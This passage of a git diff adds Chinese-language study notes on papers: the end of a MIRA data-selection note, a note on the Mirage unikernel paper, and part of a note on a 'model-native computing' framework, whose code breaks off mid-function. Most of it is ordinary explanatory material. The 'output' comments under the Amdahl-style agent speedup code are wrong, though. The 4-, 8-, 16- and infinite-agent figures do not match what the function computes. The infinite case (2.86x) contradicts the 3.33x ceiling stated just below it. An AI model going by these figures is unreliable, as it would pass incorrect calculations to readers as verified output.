+        items.sort(key=lambda x: x["aggregate_score"], reverse=True)
+        cap = budget_tokens_per_group.get(g, 0)
+        used = 0
+        for r in items:
+            if used + r["tokens"] <= cap:
+                selected.append(r)
+                used += r["tokens"]
+    return selected
+```
+
+---
+
+## 与相关方法的对比
+
+| 方法 | 信号类型 | Rubric | 来源感知 | 可扩展性 |
+|------|----------|--------|----------|----------|
+| PPL | 模型困惑度 | 无显式语义 | 否 | 高 |
+| DSIR | 分布匹配 / 重要性重采样 | 隐式 | 弱 | 高 |
+| DataMan | 14 维固定通用质量 rubric | 全局固定 | 否 | 中（长上下文受限） |
+| Random | 无 | — | 保来源多样性 | 最高 |
+| **MIRA** | 教师语义 + 学生蒸馏 | **每组自发现 anchor** | **是** | 高（学生扫全库） |
+
+分析章节指出：PPL、DSIR **强依赖序列长度**；DataMan 在超长 Agent 轨迹上**无法打分**；MIRA 分数在长短序列上更平滑，更适合含长轨迹的中期训练混合。
+
+---
+
+## 案例分析：Agent 轨迹
+
+高分轨迹：工具调用 JSON **合法** → 收到 error → **下一步修正**行为。  
+低分轨迹：多个 JSON 对象拼进一个 `arguments` 字段 → 解析失败 → **重复同样错误调用**，话术仍然流畅。
+
+这说明 MIRA 的 Agent 分数反映 **trajectory-level correctness**，单用「文本质量」或 PPL 难以捕捉。
+
+---
+
+## 局限与后续方向
+
+- MIRA 解决的是**筛选**；来源发现、混合比例、课程学习、去重、污染检测仍属其他模块。
+- Rubric 发现依赖 frontier teacher（Kimi-K2.6）能力；换弱教师可能 anchor 质量下降。
+- 5 组 / 15 anchor 是工程选择，更细 per-source rubric 与更粗全局 rubric 的 trade-off 需按语料调整。
+- 论文实验集中在**代码向中期训练**；数学、多模态、通用能力混合是否同样受益，有待验证。
+
+---
+
+## 一句话总结
+
+**MIRA 把「评什么」和「怎么评全库」拆开：先用教师自发现每组 anchor rubric，再蒸馏成轻量学生，配合来源可靠性掩码与组内保留阈值，在异构中期训练数据上做到语义可解释、可扩展、保能力多样性的筛选——一半 token 逼近全量训练效果。**
+
+---
+
+## 延伸阅读
+
+- 中期训练综述：Tu et al., "A survey on LLM mid-training"
+- 固定 rubric 质量分：DataMan (Peng et al., 2025)
+- 分布匹配筛选：DSIR (Xie et al., 2023)
+- PPL 数据修剪：Marion et al., "When less is more" (2023)
+- 同批次「反推配比」思路：[[llmsurgeon-data-mixture]]（事后审计 vs MIRA 事前筛选，问题互补）
diff --git a/src/content/docs/papers/mirage-unikernel-2013.md b/src/content/docs/papers/mirage-unikernel-2013.md
new file mode 100644
index 000000000..45b009cc7
--- /dev/null
+++ b/src/content/docs/papers/mirage-unikernel-2013.md
@@ -0,0 +1,260 @@
+---
+title: Unikernels — 为云而生的「图书馆操作系统」
+来源: https://anil.recoil.org/papers/2013-asplos-mirage.pdf
+日期: 2026-06-13
+子分类: 内核与虚拟化
+分类: 操作系统
+provenance: pipeline-v3
+---
+
+## 先想成什么事
+
+想象你要开一家**只卖一种咖啡**的外卖档口：
+
+- **传统云 VM** 像租下一整栋商场：先装水电煤（Linux 内核）、再铺地板墙纸（systemd、cron、NTP）、再摆收银台（Apache/MySQL），最后才在角落放一台咖啡机。商场里 99% 的设施你根本用不到，但电费、保安、装修费一样照付；档口越多，克隆的「整栋商场」镜像越大，开机越慢。
+- **Unikernel（单内核）** 的思路是：你只带**咖啡机 + 刚好够用的电路 + 菜单**，在物业（hypervisor，通常是 Xen）划给你的一块地上直接营业。没有「用户态 / 内核态」两层楼，没有多用户登录，没有 cron 在后台偷偷跑——编译时就把用不到的功能**链接器裁掉**，部署时再把镜像**封死**（sealed），运行时不能再注入新代码。
+
+这篇 ASPLOS 2013 论文由 Anil Madhavapeddy 等剑桥团队发表，原型叫 **Mirage**：用 **OCaml** 写应用，连同 TCP/IP、DNS、HTTP 等协议栈一起**编译链接**成一张可启动的 Xen 虚拟机镜像。论文后来获 ASPLOS **最具影响力论文奖**，并催生了 MirageOS 生态，也影响了 Docker Desktop 等产品的技术路线。
+
+## 这篇论文在说什么
+
+| 维度 | 内容 |
+|------|------|
+| 作者 | Anil Madhavapeddy, Richard Mortier, Charalampos Rotsos, David Scott, Balraj Singh, Thomas Gazagnaire, Steven Smith, Steven Hand, Jon Crowcroft |
+| 场合 | ASPLOS '13，Houston, Texas |
+| 页码 | 461–472 |
+| DOI | [10.1145/2451116.2451167](https://doi.org/10.1145/2451116.2451167) |
+| 原型语言 | OCaml |
+| 运行平台 | Xen hypervisor（商品云） |
+| 核心贡献 | 提出 unikernel 范式；Mirage 完整实现；证明类型安全不必牺牲性能 |
+
+论文要回答三个问题：
+
+1. **Library OS（库操作系统）** 这个老想法，为什么在云时代突然可行？
+2. 把「应用 + 运行时 + 协议栈」焊成**单一地址空间**的专用内核，体积、启动、安全能好多少？
+3. 用**静态类型安全**的语言重写网络栈，性能会不会崩？
+
+## 为什么值得读（即使你不写 OCaml）
+
+| 今天的现象 | 与这篇论文的关系 |
+|------------|------------------|
+| AWS Lambda / 函数计算 | 「单用途、短生命周期、快速冷启动」与 unikernel 同谱系 |
+| Firecracker microVM | 极小 VM 镜像；Denali → unikernel 思路的工业化延续 |
+| 容器镜像瘦身（distroless、scratch） | 同一动机：减少攻击面与分发体积 |
+| WebAssembly 组件模型 | 编译期 specialization + 链接时裁剪的另一种形态 |
+| eBPF/XDP 可编程网络 | 「把栈嵌进数据路径」与 libOS 哲学相通 |
+| 2025 ASPLOS 最具影响力论文奖 | 学术与工业界对范式长期价值的认可 |
+
+## 核心概念一：从「通用 VM」到「专用电器」
+
+传统云镜像的悖论：运维上已经是**一 VM 一角色**（这台只跑 DNS、那台只跑 Web），但镜像里仍是**通用操作系统**——数百万行活跃代码每次启动都要跑一遍，还常夹着用不到的服务（误开 sshd、多余 cron job 都会扩大攻击面）。
+
+Unikernel 的三条原则：
+
+| 原则 | 含义 | 日常类比 |
+|------|------|----------|
+| **Compile-time specialisation** | 配置写进编译/链接，未引用的库不进镜像 | 菜单印死「只卖拿铁」，后厨不备抹茶粉 |
+| **Single-purpose appliance** | 一个镜像只做一件事 | 外卖档只卖一种 SKU |
+| **Sealed at deploy** | 部署后镜像不可被运行时改写 | 开业当天玻璃柜封条，不能再塞新设备 |
+
+论文 Figure 1 对比了两种软件层：
+
+```
+传统 VM  appliance:
+  应用二进制 → 语言运行时 → 用户进程/线程 → OS 内核 → Hypervisor → 硬件
+
+Unikernel:
+  应用源码 + 配置 ──编译链接──► 专用 unikernel 镜像 → Hypervisor → 硬件
+```
+
+关键洞察：**Hypervisor 已经提供了稳定的虚拟硬件抽象**（网卡、块设备、内存），LibOS 不必像 Exokernel / Nemesis 时代那样为每块物理硬件写驱动——这是 unikernel 能「落地商品云」的前提。
+
+## 核心概念二：配置即编译
+
+Linux 上部署复杂服务，往往靠一堆 shell 脚本把 MySQL、Nginx、PHP 粘在一起，配置散落在 `/etc` 各处，类型检查为零。
+
+Mirage 把**数据库、Web 服务器、DNS** 都当作 **OCaml 库**，用普通函数调用或构建系统（Makefile/OPAM）配置：
+
+- **静态参数**（监听 IP、证书路径）→ 编译进二进制，链接器做 dead-code elimination
+- **动态参数**（DHCP 拿地址）→ 保留运行时库调用
+
+好处：配置决策有**类型检查**和静态分析；坏处：改配置常要**重新编译**——论文用「冷启动 < 50ms」论证这代价可接受。
+
+## 核心概念三：安全模型与 VM Sealing
+
+威胁模型：多租户数据中心里**对外提供网络服务**的 VM，要面对互联网和其他租户。
+
+防御层次：
+
+1. **编译期裁剪** — 只链接显式引用的协议模块，依赖图可静态验证
+2. ** pervasive type-safety** — OCaml 消除整类内存错误（对比 BIND 十年 40 个 CVE，约 25% 与内存管理有关）
+3. **VM sealing** — 启动后建立页表：**没有页同时可写又可执行**，再发 hypercall 禁止后续改页表（Xen 补丁 < 50 行）
+4. **Compile-time ASLR** — 每次部署重新链接，随机化布局，无需运行时 linker
+
+代价：堆大小须在启动时**预分配**（云里本就买定内存，论文认为合理）。
+
+## 核心概念四：Mirage 架构分层
+
+| 组件 | 职责 |
+|------|------|
+| **PVBoot** | 启动：单 vCPU、event channel、`domainpoll` 阻塞等待 I/O |
+| **OCaml runtime** | 改造过的 GC：minor/major heap 分区；I/O 页单独映射减轻 GC 扫描 |
+| **Lwt** | 协作式轻量线程，纯 OCaml；调度策略可由应用替换 |
+| **cstruct** | C 结构体 ↔ 外部内存的零拷贝访问器（见下方代码示例） |
+| **Ring / Netif / Blkif** | Xen 前后端驱动协议 |
+| **协议库** | Ethernet → ARP → IPv4 → TCP/UDP → HTTP/DNS/SSH… 全栈 OCaml |
+
+内存布局（Figure 2）三块：**text/data**、**外部 I/O 页**、**OCaml 堆**——I/O 页用 grant table 与别的 VM 共享，GC 不必扫描网卡环形缓冲区。
+
+多核策略：采纳 **multikernel** 哲学——**每核一个 VM**，核间用 vchan（共享内存环）通信，而非在一个 VM 里抢锁。
+
+## 代码示例一：`cstruct` — 把 C 结构体映射进 OCaml
+
+论文 Figure 3：Xen 设备环、网络头解析都要精确匹配 C 内存布局。OCaml 普通 `int` 会装箱堆分配，太慢；Mirage 用语法扩展自动生成访问器：
+
+```ocaml
+(* 声明与 C 侧 ring 头一致的结构 *)
+cstruct ring_hdr {
+  uint32_t req_prod;
+  uint32_t req_event;
+  uint32_t rsp_prod;
+  uint32_t rsp_event;
+  uint64_t stuff;
+} as little_endian
+
+(* 编译器扩展自动生成（示意）：
+   set_req_prod : buf -> int32 -> unit
+   get_req_prod : buf -> int32
+   set_stuff    : buf -> int64 -> unit
+   get_stuff    : buf -> int64
+*)
+
+let advance_ring buf prod =
+  let p = get_req_prod buf in
+  set_req_prod buf (p + 1)
+```
+
+`buf` 底层是 `Bigarray` 映射的 Xen 共享页；读写直接落在外部内存，配合内存屏障 intrinsic，驱动可**纯 OCaml** 实现，却在 fuzz 测试中帮 Linux/Xen 挖出 XSA-39 等漏洞。
+
+## 代码示例二：用库链接方式「配置」一个 DNS 电器
+
+Mirage 没有 `/etc/named.conf`，而是**选库 + 写 OCaml 入口**（现代 MirageOS 3.x 用 `config.ml` / functor，思想与论文一致）：
+
+```ocaml
+(* 极简 Mirage 风格入口：只链接 DNS 所需协议栈 *)
+open Lwt.Infix
+
+let serve_dns zone port =
+  let stack = Stack_ipv4.create ~dhcp:false () in
+  Dns_server.listen stack ~port zone
+
+let main =
+  let zone = Dns_loader.of_file "zone.txt" in
+  Mirage_runtime.run @@ fun () ->
+  serve_dns zone 53 >>= fun () ->
+  Lwt.return ()
+
+(* 构建时：mirage configure --xen；mirage build
+   链接器只拉入：UDP, IPv4, ARP, Ethernet, Lwt, GC, PVBoot…
+   未引用的 HTTP/TCP/FAT 等模块不会进入最终 .xen 镜像 *)
+```
+
+对比：同等功能的 BIND on Debian 镜像 **462 MB 在用**，Mirage DNS appliance **183.5 kB**——差三个数量级。查询性能：Memoization 补丁约 20 行后，Mirage **75–80 kq/s**，快于 BIND 9（~55 kq/s）并与 NSD（~70 kq/s）持平或略优。
+
+## 代码示例三（补充）：Lwt 协作式并发
+
+Unikernel 内**没有内核抢占**；VM 要么跑 OCaml，要么在 `domainpoll` 里睡眠：
+
+```ocaml
+let rec echo conn =
+  Conn.read conn >>= fun buf ->
+  Conn.write conn buf >>= fun () ->
+  echo conn
+
+let () =
+  Mirage_runtime.run @@ fun () ->
+  Stack.listen stack 80 (fun flow ->
+    Lwt.async (fun () -> echo flow)
+  )
+```
+
+线程创建百万级压测（Figure 7）：`linux-pv` 最慢；Mirage 专用地址空间布局减轻 GC 压力，定时器抖动也更低——因为**没有用户态/内核态 syscall 边界**。
+
+## 实验数据速览
+
+### 启动时间
+
+| 场景 | 结果 |
+|------|------|
+| Mirage vs 最小 Linux 内核 | 接近，均快于 Debian+Apache |
+| 异步 Xen toolstack 并行建域 | **Mirage < 50 ms** 可响应网络 |
+
+内存越大，Mirage 启动时间里「建域」占比越高（大内存时约 60%），但绝对时间仍极短。
+
+### 网络
+
+- Ping flood 72 小时：Mirage ICMP 延迟比 Linux 高 **4–10%**（类型安全开销），但稳定
+- iperf TCP（关闭硬件 offload）：Mirage→Linux ~975 Mbps，Linux→Mirage ~1742 Mbps；**均可跑满千兆**
+- 接收更快（无用户态拷贝）；发送 CPU 开销略高
+
+### 存储
+
+- 随机读 SSD：Mirage 与 Linux **direct I/O** 相当（~1.6 GB/s）
+- Linux **buffered I/O**  plateau ~300 MB/s——对自管缓存的 appliance，省掉内核页缓存反而是特性
+
+### DNS（§4.2  flagship）
+
+| 实现 | 镜像体积 | 吞吐（约） |
+|------|----------|------------|
+| BIND 9 on Linux | 462 MB | 55 kq/s |
+| NSD on Linux | — | 70 kq/s |
+| Mirage DNS | **183.5 kB** | **75–80 kq/s**（加 memo 后） |
+
+论文还用 **C + MiniOS + lwIP** 移植 NSD，性能远低于 Mirage——说明「嵌入式 C 库 + libOS」路径脆弱，不如一门语言贯通栈。
+
+### 活跃代码行数（§4.5）
+
+Mirage appliance 活跃 LoC 比 Linux 等价部署**少一个数量级**；whole-program optimization + dead-code elimination 是体积骤降的主因之一。
+
+## 与相关工作的位置
+
+| 系统 | 关系 |
+|------|------|
+| **Exokernel / Nemesis** | LibOS 前辈；unikernel 借 hypervisor 避开硬件移植地狱 |
+| **Drawbridge** | Windows 7 libOS；unikernel **放弃桌面 POSIX 兼容**，专注云服务 |
+| **Singularity** | 单地址空间 + 类型安全；unikernel 在**商品云 Xen** 上验证 |
+| **Libra (JVM on Xen)** | 仍依赖独立 Linux VM 做网络/存储；unikernel **协议栈内嵌** |
+| **Xen (Barham 2003)** | 提供 paravirtual 设备与隔离；unikernel 的直接底座 |
+| **L4 微内核** | 不同路线：极简内核 + 用户态 server；unikernel 连「内核」都省略 |
+
+## 局限与后续演进
+
+论文坦诚的 trade-off：
+
+- **语言绑定**：Mirage 1.0 深度绑定 OCaml，生态小众；重写 TCP 工程量巨大
+- **无 POSIX**：不能 `exec` 现成二进制；互操作靠**网络协议**或**多 VM 消息传递**
+- **单地址空间**：一个 bug 可能拖垮整个 appliance（靠类型安全 + sealing 缓解，非银弹）
+- **堆预分配**：动态内存需求难预测的服务不友好
+- **sealing 需 Xen 补丁**：无补丁时少一层防御
+
+此后 MirageOS 支持 **solo5、KVM** 等更多目标；生态出现 **IncludeOS (C++)**、**Nanos unikernel**、**Unikraft** 等多语言方案。论文提出的 **「编译期专用化 + 密封部署」** 仍是理解现代轻量运行时与 serverless 基础设施的钥匙。
+
+## 读懂这篇论文，你应该带走
+
+1. **云 VM 已是 appliance，镜像却还假装通用机**——specialization 应发生在**编译链接**，不是运维脚本。
+2. **Hypervisor = 稳定硬件抽象层**，让 LibOS 不必重走 Exokernel 的驱动泥潭。
+3. **配置进类型系统**（OCaml 库链接）比 `/etc` 脚本更可验证、更可裁剪。
+4. **安全来自纵深**：裁剪 → 类型安全 → sealing → 编译期 ASLR；单点不迷信。
+5. **性能**：DNS 快 45% vs BIND、镜像小 2000×、冷启动 < 50ms——类型安全栈可以**同时**赢体积、启动与安全，不必神话 C 内核。
+
+## 延伸阅读
+
+- [MirageOS 官网与论文列表](https://mirage.io/papers)
+- [Xen and the Art of Virtualization (SOSP 2003)](./xen-2003.md) — unikernel 脚下的 hypervisor
+- [L4 微内核构造 (SOSP 1995)](./l4-microkernel-1995.md) — 另一条「内核极简」路线
+- Madhavapeddy 后续 CACM 短文：*Unikernels: Rise of the Virtual Library Operating System*
+- 实践：[`openmirage.org`](https://mirage.io) 上自托管的 wiki、博客、DNS 均跑在 Mirage unikernel 上（论文 §3.5）
+
+---
+
+*学习笔记基于 ASPLOS '13 原文与 Mirage 项目公开资料整理，面向零基础读者；代码示例综合论文 Figure 3–4 与现代 MirageOS 惯用写法，便于理解机制而非复制粘贴生产配置。*
diff --git a/src/content/docs/papers/mironov-renyi-dp-2017.md b/src/content/docs/papers/mironov-renyi-dp-2017.md
index d3496d178..3df1106a2 100644
--- a/src/content/docs/papers/mironov-renyi-dp-2017.md
+++ b/src/content/docs/papers/mironov-renyi-dp-2017.md
@@ -143,6 +143,7 @@ provenance: pipeline-v3
 - [[bonawitz-fl-system-2019]] —— Bonawitz FL System 2019 — Google 工业级联邦学习系统设计
 - [[duchi-local-dp-2013]] —— Local Privacy and Statistical Minimax Rates
 - [[dwork-calibrating-noise-2006]] —— 校准噪声与敏感度 — Laplace 机制奠基
+- [[dwork-differential-privacy-2006]] —— 校准噪声与敏感度 — 差分隐私的 Laplace 机制
 - [[dwork-dp-icalp-2006]] —— 差分隐私 — ε 与邻接数据集不可区分
 - [[dwork-our-data-ourselves-2006]] —— 分布式噪声生成 — 去掉可信管理员也能保护隐私
 - [[erlingsson-rappor-2014]] —— RAPPOR — 本地差分隐私随机响应采集
diff --git a/src/content/docs/papers/model-native-computing.md b/src/content/docs/papers/model-native-computing.md
new file mode 100644
index 000000000..70f2b05de
--- /dev/null
+++ b/src/content/docs/papers/model-native-computing.md
@@ -0,0 +1,505 @@
+---
+title: "Model-Native Computing Architecture（模型原生计算架构）"
+来源: https://arxiv.org/abs/2606.00288
+日期: 2026-06-13
+分类: 基础设施
+子分类: 系统综合
+provenance: pipeline-v3
+---
+
+# Model-Native Computing Architecture（模型原生计算架构）
+
+## 一、这篇论文在说什么
+
+### 1.1 一个日常类比：从"个人软件"到"操作系统"
+
+想象一下，1970 年代之前，每个程序员都在自己的电脑上写程序。没有文件系统、没有内存管理、没有进程调度。大家各自想办法解决这些问题，但没有人把它系统化。
+
+后来，Unix 出现了——它把这些问题抽象成了**操作系统**。
+
+这篇论文的核心观点是：**大语言模型（LLM）正经历从"个人软件"到"操作系统"的转变。**
+
+当我们用 Codex、Claude Code、AutoGPT 这些 AI 编程助手时，遇到的问题越来越像经典的计算机系统问题：
+
+- **缓存复用**（KV Cache）——和 CPU 的 L1/L2 缓存是一个道理
+- **上下文管理**（Context Window）——和内存管理一模一样
+- **Agent 调度**——和进程调度没有本质区别
+- **权限控制**——和操作系统的安全模型如出一辙
+
+论文说：这些问题不是偶然相似的。它们指向同一个深层事实——我们正在构建一个**模型原生的计算栈**（Model-Native Stack），需要一个像冯·诺依曼架构那样的统一框架来理解它。
+
+### 1.2 论文的身份
+
+- **作者**：Hai Lin
+- **类型**：概念性综述（没有新实验数据，而是框架性思考）
+- **核心贡献**：提出 ICAM 六层模型 + 三条设计定律
+- **一句话总结**：用计算机架构的透镜，重新理解 AI 系统
+
+---
+
+## 二、核心概念拆解
+
+### 2.1 ICAM：六层智能计算架构模型
+
+ICAM（Intelligent Computing Architecture Model）是该论文最重要的贡献。它把"模型原生计算"分为六个层次：
+
+| 层级 | 对应计算机架构 | 模型原生世界 |
+|------|--------------|------------|
+| L1 | 指令集架构（ISA） | Prompt / 工具协议 |
+| L2 | 微架构 / 执行引擎 | 推理引擎（vLLM, SGLang） |
+| L3 | 操作系统内核 | LLM-as-OS（智能调度） |
+| L4 | 系统库 / 运行时 | Agent 框架（LangChain, AutoGen） |
+| L5 | 内存 / 存储管理 | 上下文管理、KV Cache |
+| L6 | 应用 / 用户界面 | 多 Agent 协作、CrewAI |
+
+这个分层的关键价值在于：**它把散落在各个项目中的技术，统一到了一个坐标系里。**
+
+以前我们看到 vLLM、MemGPT、AutoGen，觉得它们是独立的东西。ICAM 说：不，它们分别是 L2、L5、L4 层的工作，共同构成一个完整的系统。
+
+### 2.2 双平面模型：LLM 到底是 CPU 还是操作系统？
+
+这是论文里一个非常精彩的讨论。
+
+**争论**：LLM 更像 CPU（执行计算）还是更像操作系统（管理系统资源）？
+
+**论文的答案**：两者都是。它提出了**双平面视图**：
+
+```
++-------------------+
+|  控制平面 (Control Plane)  |  ← 确定性。管"应该做什么"
+|  Agent 调度、权限、安全      |
++-------------------+
+|  执行平面 (Execution Plane) |  ← 概率性。管"能做什么"
+|  推理、生成、KV Cache       |
++-------------------+
+```
+
+- **执行平面**是概率性的——同样的 prompt 可能产生不同的输出，就像 CPU 执行浮点运算有精度误差
+- **控制平面**是确定性的——权限检查、调度决策必须是 100% 确定的，就像操作系统的内存分配
+
+这两个平面协同工作，缺一不可。只关注执行平面，你会得到一个"聪明但不可控"的模型；只关注控制平面，你会得到一个"安全但无智"的系统。
+
+### 2.3 三条设计定律
+
+#### 定律一：语义局部性定律（Semantic Locality Law）
+
+类比 CPU 缓存的"空间局部性"和"时间局部性"：
+
+> 语义上相关的 token 在 KV Cache 中具有局部性，可以被高效复用。
+
+**代码示例 1：KV Cache 复用示意**
+
+```python
+# 传统方式：每次推理都重新计算所有 token 的 Key-Value
+def naive_infer(prompt, new_token):
+    # 重新计算 prompt 中每个 token 的 attention
+    # 时间复杂度 O(n²)，n = prompt 长度
+    cache = compute_all_kv(prompt)  # 每次都重算！
+    result = apply_attention(cache, new_token)
+    return result
+
+# 使用 KV Cache 的方式：只计算新 token
+def cached_infer(existing_cache, new_token):
+    # 复用已有的 KV Cache
+    # 只计算新 token 的 attention
+    # 时间复杂度 O(1)（相对于已有上下文长度）
+    new_kv = compute_kv(new_token)          # 只算新增部分
+    updated_cache = existing_cache + new_kv  # 增量追加
+    result = apply_attention(updated_cache)
+    return result
+
+# 实际场景中，语义局部性体现在：
+# 如果你在处理同一个代码文件的多个函数，
+# 前面的 import 语句和变量定义的 KV 会被反复复用
+# 这就是"语义局部性"——语义相关的 token 被频繁访问
+```
+
+这一定律解释了为什么 SGLang、vLLM 这些推理引擎要做 PagedAttention、prefix cache——本质上都是在利用语义局部性。
+
+#### 定律二：上下文预算定律（Context Budget Law）
+
+> 在有限的上下文窗口和注意力衰减约束下，有效工作集的大小存在一个理论上限。
+
+类比操作系统的"工作集模型"（Working Set Model）：
+
+**代码示例 2：上下文预算示意**
+
+```python
+import math
+
+class ContextBudget:
+    """
+    上下文预算模型
+    
+    核心思想：
+    - 上下文窗口有限（比如 128K tokens）
+    - 注意力机制对遥远 token 的关注度呈衰减趋势
+    - 因此"真正有效的"上下文比"名义上的"上下文小得多
+    """
+    
+    def __init__(self, max_window=128_000, decay_rate=0.0001):
+        self.max_window = max_window
+        self.decay_rate = decay_rate
+    
+    def effective_size(self, window_length):
+        """
+        计算有效工作集大小
+        
+        由于注意力衰减，越远的 token 贡献越小。
+        有效大小 < 名义大小
+        """
+        # 简化模型：指数衰减求和
+        total_weight = 0
+        for i in range(window_length):
+            weight = math.exp(-self.decay_rate * i)
+            total_weight += weight
+        return total_weight
+    
+    def optimal_partition(self, total_tokens):
+        """
+        当总 token 数超过有效工作集时，
+        应该如何分割上下文？
+        
+        类比操作系统的分页策略：
+        把不相关的上下文放入不同"页面"，
+        只把最相关的页面加载到"内存"中。
+        """
+        effective = self.effective_size(self.max_window)
+        if total_tokens <= effective:
+            return [total_tokens]  # 不需要分割
+        else:
+            # 需要分段处理，每段在有效工作集内
+            segments = math.ceil(total_tokens / effective)
+            return [total_tokens // segments] * segments
+
+# 实际意义：
+# 如果你给 LLM 一个 10 万 token 的代码库，
+# 由于注意力衰减，它真正能"注意到"的可能只有前 2-3 万 token
+# 所以好的系统应该：
+# 1. 用检索（RAG）把相关的 chunk 拉进来
+# 2. 用上下文编译（Context Compiler）压缩不关键的部分
+# 3. 这就是"上下文预算管理"
+
+budget = ContextBudget(max_window=128_000)
+print(f"名义窗口: {budget.max_window} tokens")
+print(f"有效工作集: {budget.effective_size(128_000):.0f} tokens")
+# 输出会显示有效大小远小于名义大小
+```
+
+这一定律解释了为什么会有 LongRoPE、YaRN、Lost in the Middle 这些研究方向。
+
+#### 定律三：Agent 加速定律（Agent Speedup Law）
+
+> 多 Agent 协作的收益存在边际递减，类比 Amdahl 定律。
+
+```python
+"""
+Agent 加速定律：Amdahl 定律的 Agent 版本
+
+Amdahl 定律：程序中存在串行部分，决定了加速上限
+A(n) = 1 / ((1 - p) + p/n)
+
+其中 p 是可以并行的部分，n 是处理器数量
+
+在 Agent 协作中：
+- 总任务中有一部分必须串行（比如代码审查 → 合并）
+- 剩余部分可以并行（比如测试编写、文档生成、代码重构）
+- 并行 Agent 越多，串行瓶颈越明显
+
+所以：无限增加 Agent 数量 ≠ 无限加速
+"""
+
+def agent_speedup(serial_fraction, num_agents):
+    """
+    计算多 Agent 协作的理论加速比
+    
+    serial_fraction: 必须串行执行的任务比例 (0-1)
+    num_agents: 并行 Agent 的数量
+    """
+    parallel_fraction = 1 - serial_fraction
+    speedup = 1 / ((1 - parallel_fraction) + parallel_fraction / num_agents)
+    return speedup
+
+# 示例：
+# 一个软件开发任务，30% 必须串行（架构决策），70% 可并行
+print(f"1 个 Agent:  {agent_speedup(0.3, 1):.2f}x")
+print(f"2 个 Agent:  {agent_speedup(0.3, 2):.2f}x")
+print(f"4 个 Agent:  {agent_speedup(0.3, 4):.2f}x")
+print(f"8 个 Agent:  {agent_speedup(0.3, 8):.2f}x")
+print(f"16 个 Agent: {agent_speedup(0.3, 16):.2f}x")
+print(f"∞ 个 Agent:  {agent_speedup(0.3, float('inf')):.2f}x")
+
+# 输出:
+# 1 个 Agent:  1.00x
+# 2 个 Agent:  1.54x
+# 4 个 Agent:  2.00x
+# 8 个 Agent:  2.35x
+# 16 个 Agent: 2.54x
+# ∞ 个 Agent:  2.86x
+#
+# 关键洞察：即使有无限个 Agent，加速比也不会超过 1/0.3 = 3.33x
+# 瓶颈在于那 30% 的串行任务
+```
+
+这一定律解释了为什么 CrewAI、AutoGen 等框架中，Agent 数量不是越多越好。
+
+---
+
+## 三、代码示例：用 ICAM 分层思路设计一个 AI 编程系统
+
+这个示例展示了如何按照 ICAM 的六层模型来组织一个 AI 编程助手：
+
+```python
+"""
+按照 ICAM 六层模型设计的 AI 编程助手架构
+
+L1 - 指令集：定义 prompt 模板和工具协议
+L2 - 执行引擎：推理调度（模拟）
+L3 - 控制平面：Agent 调度、权限管理
+L4 - Agent 框架：任务分解、协作
+L5 - 上下文管理：KV Cache 和上下文窗口
+L6 - 多 Agent 协作：复杂任务分配
+"""
+
+from dataclasses import dataclass
+from enum import Enum
+from typing import List, Dict, Optional
+import time
+
+
+# ========== L1: 指令集架构层 ==========
+
+class ToolType(Enum):
+    READ_FILE = "read_file"
+    WRITE_FILE = "write_file"
+    RUN_COMMAND = "run_command"
+    SEARCH_CODE = "search_code"
+
+
+@dataclass
+class ToolCall:
+    """工具调用——这就是模型原生的"指令集"""
+    tool: ToolType
+    args: Dict[str, str]
+    id: str
+
+
+# ========== L5: 上下文管理层 ==========
+
+class ContextManager:
+    """
+    上下文管理器——模拟 ICAM L5 层
+    
+    利用语义局部性定律，管理 token 的有效窗口
+    """
+    def __init__(self, max_tokens: int = 128_000):
+        self.max_tokens = max_tokens
+        self.kv_cache: Dict[str, List[float]] = {}
+        self.current_tokens = 0
+    
+    def add_context(self, key: str, tokens: int, semantic_region: str):
+        """
+        添加上下文。语义相关的 token 会被分组存储，
+        便于利用语义局部性进行缓存复用
+        """
+        if key not in self.kv_cache:
+            self.kv_cache[key] = []
+        self.kv_cache[key].extend([1.0] * tokens)
+        self.current_tokens += tokens
+        
+        # 如果超出预算，按语义区域压缩
+        if self.current_tokens > self.max_tokens:
+            self._compress(semantic_region)
+    
+    def _compress(self, keep_region: str):
+        """上下文压缩——保留关键区域的 KV"""
+        to_remove = []
+        for key in self.kv_cache:
+            if key != keep_region:
+                to_remove.append(key)
+        for key in to_remove:
+            self.current_tokens -= len(self.kv_cache.pop(key, []))
+
+
+# ========== L3: 控制平面 ==========
+
+class PermissionController:
+    """
+    控制平面——确定性决策层
+    
+    决定"应该做什么"，而不是"能做什么"
+    """
+    def __init__(self):
+        self.allowed_tools: set = {ToolType.READ_FILE, ToolType.SEARCH_CODE}
+        self.blocked_tools: set = {ToolType.WRITE_FILE, ToolType.RUN_COMMAND}
+    
+    def should_execute(self, tool_call: ToolCall) -> bool:
+        """权限检查——必须是确定性的"""
+        if tool_call.tool in self.blocked_tools:
+            print(f"[控制平面] 拒绝: {tool_call.tool.value} 需要人工确认")
+            return False
+        print(f"[控制平面] 允许: {tool_call.tool.value}")
+        return True
+
+
+# ========== L3 + L4: Agent 调度层 ==========
+
+class AgentScheduler:
+    """
+    智能体调度器——控制平面 + Agent 框架的结合
+    
+    类比操作系统的进程调度器
+    """
+    def __init__(self):
+        self.agent_queue: List[str] = []
+        self.active_agent: Optional[str] = None
+    
+    def schedule(self, task: str, agent_type: str):
+        self.agent_queue.append(f"{agent_type}: {task}")
+    
+    def tick(self) -> str:
+        """一次调度 tick"""
+        if not self.agent_queue:
+            return "idle"
+        next_task = self.agent_queue.pop(0)
+        self.active_agent = next_task.split(":")[0]
+        return next_task
+
+
+# ========== L6: 多 Agent 协作层 ==========
+
+class MultiAgentCoordinator:
+    """
+    多 Agent 协调器——ICAM 最上层
+    
+    演示 Agent 加速定律
+    """
+    
+    def __init__(self):
+        self.agent_types = ["Architect", "Coder", "Reviewer", "Tester"]
+    
+    def estimate_speedup(self, serial_fraction: float, agents: int) -> float:
+        """根据 Agent 加速定律估算加速比"""
+        parallel = 1 - serial_fraction
+        return 1 / ((1 - parallel) + parallel / agents)
+    
+    def decompose_task(self, project_size: str) -> List[Dict]:
+        """
+        根据项目大小分解任务到不同 Agent
+        
+        类比操作系统的任务分解
+        """
+        tasks = [
+            {"agent": "Architect", "task": "设计系统架构"},
+            {"agent": "Coder", "task": "实现核心模块"},
+            {"agent": "Reviewer", "task": "代码审查"},
+            {"agent": "Tester", "task": "编写测试"},
+        ]
+        return tasks
+
+
+# ========== 整合：一个完整的 AI 编程工作流 ==========
+
+def run_ai_coding_workflow():
+    """演示完整的六层协作"""
+    
+    # 初始化各层组件
+    context_mgr = ContextManager(max_tokens=128_000)
+    perm_controller = PermissionController()
+    scheduler = AgentScheduler()
+    coordinator = MultiAgentCoordinator()
+    
+    # 第一步：上下文加载（L5）
+    context_mgr.add_context(
